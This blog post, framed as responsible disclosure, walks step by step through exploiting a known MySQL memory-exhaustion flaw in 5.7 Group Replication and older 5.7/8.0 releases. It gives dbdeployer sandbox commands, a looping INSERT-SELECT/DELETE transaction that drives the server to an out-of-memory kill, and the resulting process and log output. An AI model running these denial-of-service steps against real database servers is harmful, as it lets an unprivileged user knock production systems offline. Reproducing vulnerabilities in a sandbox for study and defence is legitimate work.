Wednesday, January 19, 2022

Crashing MySQL with Malicious Intent and a lot of Determination

A year ago, I blogged about An Unprivileged User can crash your MySQL Server.  At the time, I explained how to protect yourself against this problem.  A few weeks ago, I revisited this vulnerability in a follow-up post in which I explained the fix, claimed that the MySQL 5.7 default configuration for Group Replication is still problematic, and explained a tuning to avoid the vulnerability.  In this last post in the series, I explain how to exploit this vulnerability to crash older version of MySQL (or untuned Group Replication in 5.7), but this needs a lot of determination.

Before showing you how to crash MySQL, a few words about why I am sharing this.  I am in favor of responsible disclosure of security vulnerabilities.  This means that I think full transparency should eventually be applied to vulnerability.  As opposed to full disclosure, this transparency needs to come at the right time (when a fix is available, or when enough time has been given to software editors to fix the vulnerability, or for other good reasons that I cannot all list here).  Not talking about these vulnerabilities is security through obscurity, which I do not think is a good policy.  So now let's talk about this one-year-old vulnerability.

There are not a lot of explanations in this post, just the steps for exploiting the vulnerability.  Before listing these steps, just a link to my previous post - Trick to Simulate a Linux Server with less RAM - which is used below to cause memory exhaustion quicker.

The steps below are using dbdeployer and Group Replication in MySQL 5.7.36 (default configuration still vulnerable).  Similar steps can be used with MySQL 5.7 up to 5.7.32 and 8.0 up to 8.0.22 for generating similar problems (the list of failure modes are described in my previous post on the subject).  Note that as explained in the previous post, these steps do not always lead to an OOM as below: sometimes MySQL is reporting out of memory without an OOM or a crash, sometimes it is crashing with a stack trace in the error log.  To get an OOM, you might have to run below a few times.  On Debian 10.11, MySQL is always returning out of memory (I tried four times).  On CentOS 6.10, I was able to get an OOM on the first try.

# Create a Group Replication sandbox:
dbdeployer deploy replication mysql_5.7.36 --topology=group

# For reproducing with standard replication in 5.7, create the sandbox this way:
# dbdeployer deploy single mysql_5.7.32 -c log_bin -c server-id=1 -c transaction_write_set_extraction=XXHASH64

# And for reproducing with 8.0, the default configuration can be used:
# dbdeployer deploy single mysql_8.0.21
# Initialize the test environment: ./n1 <<< " CREATE DATABASE test_jfg; CREATE TABLE test_jfg.t ( id BIGINT UNSIGNED NOT NULL PRIMARY KEY, v BIGINT UNSIGNED NOT NULL UNIQUE); CREATE TABLE test_jfg.t2 LIKE test_jfg.t" # Put data in a table which is needed for the test: ( echo "BEGIN;"; seq 1 $((1024*64)) | sed -e 's/.*/INSERT into t VALUES(&, &);/'; echo "COMMIT;"; ) | ./n1 test_jfg # Let's check the amount of RAM used by the 1st Groupe Replication node (RSS of 345,892): date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p' Sun Jan 16 22:31:30 UTC 2022 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND jgagne 32544 8.8 2.1 1006936 345892 pts/1 Sl 22:30 0:06 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...] # Start the malicious commands, with a comment in SQL for observing the number of iterations: date; \ ( echo "BEGIN;"; seq 1 $((1024*1024)) | while read i; do echo "INSERT INTO t2 SELECT * /* $i */ FROM t; DELETE /* $i */ FROM t2;" done; ) | ./n1 -c test_jfg; date Sun Jan 16 22:31:44 UTC 2022 [...] # We can see that after 40 iterations, RSS grew to 642,116: sql="SELECT INFO FROM processlist WHERE INFO like '%t2%' AND INFO NOT LIKE '%WHERE%'"; \ date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p'; \ ./n1 -N information_schema <<< "$sql" Sun Jan 16 22:33:37 UTC 2022 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND jgagne 32544 57.7 3.9 1203548 642116 pts/1 Sl 22:30 1:57 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...] INSERT INTO t2 SELECT * /* 40 */ FROM t # And it grew to 766,612 after 70 iterations: date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p'; \ ./n1 -N information_schema <<< "$sql" Sun Jan 16 22:35:04 UTC 2022 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND jgagne 32544 69.8 4.7 1400156 766612 pts/1 Sl 22:30 3:23 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...] DELETE /* 70 */ FROM t2 # Now let's use the trick to simulate only having 4 GB RAM by allocating 12 GB of huge pages: date; \ sudo bash -c "echo 3 > /proc/sys/vm/drop_caches"; \ sudo bash -c "echo 1 > /proc/sys/vm/compact_memory"; \ sudo bash -c "echo 6144 > /proc/sys/vm/nr_hugepages"; \ grep HugePages_Total /proc/meminfo; \ free Sun Jan 16 21:34:10 UTC 2022 HugePages_Total: 6144 total used free shared buff/cache available Mem: 16284612 14274216 1882464 8904 127932 1773232 Swap: 0 0 0 # And after a few minutes (almost 23 in this case), we get this in the shell where we launched the malicious commands: Sun Jan 16 22:31:44 UTC 2022 ERROR 2013 (HY000) at line 378: Lost connection to MySQL server during query Sun Jan 16 22:57:57 UTC 2022 # And we can confirm it is an OOM by running below: sudo grep "Out of memory" /var/log/messages Jan 16 22:57:57 jgagne-dbdeployer02 kernel: [ 3732.440486] Out of memory: Killed process 32544 (mysqld) total-vm:2588000kB, anon-rss:2004760kB, file-rss:0kB, shmem-rss:0kB, UID:67331 pgtables:4336kB oom_score_adj:0 # Obviously, other things are happening while running the malicious commands, but they can easily go unnoticed. # This includes an InnoDB Undo Log inflation and binary log temporary file growth. date; ls -lh node1/data/ibdata1 Sun Jan 16 22:31:38 UTC 2022 -rw-r----- 1 jgagne jgagne 12M Jan 16 22:31 node1/data/ibdata1 date; ls -lh node1/data/ibdata1 Sun Jan 16 22:35:12 UTC 2022 -rw-r----- 1 jgagne jgagne 524M Jan 16 22:35 node1/data/ibdata1 date; lsof | sed -n '1p;/node1.*tmp/p' Sun Jan 16 22:35:14 UTC 2022 lsof: WARNING: can't stat() tracefs file system /sys/kernel/debug/tracing Output information may be incomplete. COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME [...] mysqld 32544 jgagne 80u REG 259,0 164270080 6292806 /mnt/jgagne_sandboxes/group_msb_mysql_5_7_36/node1/tmp/MLnZ6XcZ (deleted) [...]

No comments:

Post a Comment